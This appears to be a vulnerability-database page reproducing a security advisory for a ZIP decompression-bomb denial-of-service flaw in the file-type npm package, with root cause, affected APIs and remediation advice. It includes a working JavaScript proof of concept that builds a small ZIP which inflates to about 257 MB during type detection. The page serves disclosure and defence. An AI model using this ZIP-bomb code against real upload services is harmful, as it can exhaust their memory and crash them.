Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
5Blast Radius
ecosystem impact- 1 npm packages depend on file-type (1 direct, 0 indirect)
Ecosystem-wide dependent count for version 20.0.0.
DescriptionGitHub Advisory
Summary
A crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile().
In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on file-type 21.3.1, a ZIP of about 255 KB caused about 257 MB of RSS growth during fileTypeFromBuffer().
This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.
Root Cause
The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.
For stream inputs, ZIP probing was bounded by maximumZipEntrySizeInBytes (1 MiB). For known-size inputs such as buffers, blobs, and files, the code instead used Number.MAX_SAFE_INTEGER in two relevant places:
const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)
? maximumZipEntrySizeInBytes
: Number.MAX_SAFE_INTEGER;and:
const maximumLength = hasUnknownFileSize(this.tokenizer)
? maximumZipEntrySizeInBytes
: Number.MAX_SAFE_INTEGER;Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as [Content_Types].xml.
Proof of Concept
import {fileTypeFromBuffer} from 'file-type';
import archiver from 'archiver';
import {Writable} from 'node:stream';
async function createZipBomb(sizeInMegabytes) {
return new Promise((resolve, reject) => {
const chunks = [];
const writable = new Writable({
write(chunk, encoding, callback) {
chunks.push(chunk);
callback();
},
});
const archive = archiver('zip', {zlib: {level: 9}});
archive.pipe(writable);
writable.on('finish', () => {
resolve(Buffer.concat(chunks));
});
archive.on('error', reject);
const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">';
const padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);
archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});
archive.finalize();
});
}
const zip = await createZipBomb(256);
console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));
const before = process.memoryUsage().rss;
await fileTypeFromBuffer(zip);
const after = process.memoryUsage().rss;
console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));Observed on file-type 21.3.1:
- ZIP size: about
255 KB - RSS growth during detection: about
257 MB
Affected APIs
Affected:
fileTypeFromBuffer()fileTypeFromBlob()fileTypeFromFile()
Not affected:
fileTypeFromStream(), which already enforced the ZIP inflate limit for unknown-size inputs
Impact
Applications that inspect untrusted uploads with fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile() can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.
Cause
The issue was introduced in 399b0f1
AnalysisAI
The file-type library's ZIP file type detection functions fail to limit decompression output for known-size inputs, allowing attackers to craft small compressed ZIP files that expand to hundreds of megabytes in memory during processing. Applications processing untrusted file uploads are vulnerable to denial-of-service attacks that cause excessive memory consumption and potential crashes. Public exploit code exists for this vulnerability, though a patch is available.
Technical ContextAI
The file-type library is a Node.js package used for detecting file types based on file signatures and content analysis. The vulnerability exists in the ZIP detection logic, which is classified as CWE-400 (Uncontrolled Resource Consumption). The root cause lies in inconsistent application of decompression limits: stream-based detection enforces a maximumZipEntrySizeInBytes limit (1 MiB), but buffer-based APIs use Number.MAX_SAFE_INTEGER instead, allowing unlimited inflation of ZIP entries such as [Content_Types].xml during OOXML format detection. This discrepancy was introduced in commit 399b0f1 and affects the tokenizer's handling of known-size inputs differently from unknown-size streams. The vulnerability specifically impacts CPE contexts including Node.js-based file processing applications that depend on file-type for untrusted input validation.
RemediationAI
Upgrade the file-type package to the patched version that corrects the ZIP inflate limit enforcement for known-size inputs (apply the fix for commits following 399b0f1). Execute npm update file-type to the latest version, or specify the minimum safe version in package.json and reinstall dependencies. For environments unable to patch immediately, implement upstream mitigations by enforcing file size limits on uploads (reject files exceeding a reasonable threshold such as 10 MB), using memory limits via container settings or Node.js --max-old-space-size flag, and rate-limiting file type detection requests. Additionally, consider validating ZIP structure before invoking file-type detection, or migrating to alternative file detection mechanisms that enforce consistent resource limits across all APIs. Consult the file-type project releases page for the exact patched version number and apply it to all affected applications and deployed instances.
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-12139
GHSA-j47w-4g3g-c36v